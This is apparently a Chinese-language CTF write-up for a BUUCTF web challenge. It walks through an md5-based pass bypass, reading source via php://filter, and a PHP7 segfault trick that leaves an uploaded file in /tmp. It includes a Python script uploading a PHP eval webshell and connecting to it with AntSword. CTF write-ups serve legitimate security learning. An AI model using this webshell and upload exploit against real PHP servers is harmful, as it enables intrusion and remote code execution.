md5,
题目打开之后是什么都没有的,直接进行抓包
可以看到是给了一个hash值的,而且告诉了
Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞)
如果$name='',则有$md5($secret.$name)=$md5($secret)=上面的Hash
则/?pass=上面的Hash即可,或者带上&name=传递空值
访问flflflflag.php
发现什么都没有只有一个include函数,伪协议读一下这个页面源码尝试一下
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
发现data伪协议和php://input都被ban了,这里借鉴了一下其他师傅的wp,发现这里用的是一个php特性
利用 php7 segment fault 特性
大致意思是:使用伪协议php://filter中的string.strip_stags 过滤器 并上传文件 php的垃圾回收机制就不会继续执行 使post传递的文件存储在/temp/文件下
10.利用条件
php7.0.0-7.1.2可以利用
php7.1.3-7.2.1可以利用
php7.2.2-7.2.8可以利用
可以获取文件名
源代码get参数进行文件包含
同时tmp下的文件会放在dir.php中
import requests as res
from io import BytesIO
url="http://cae4856d-9645-4f78-9a21-1b19470828b5.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" #phpfile对应的就是上传的文件的内容
phpfile="<?php @eval($_POST['a']); ?>"
filedata={
"file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text)
运行后
此时文件是上传上去了的
脚本最后会输出BUUCTF容器不存在的页面,但这并不意味着我们操作失败了,按照知识点来说属于是"php崩溃清空堆栈重启",我们脚本中上传的文件还是存在的。
访问dir.php查看我们上传后的文件。
找到了我们上传的文件名之后进行目录穿越蚁剑连../../../../../tmp/phpWHPmtj
发现不在,可能在phpinfo中同样的方法,只需要更改上传代码即可,最终在phpinfo中找见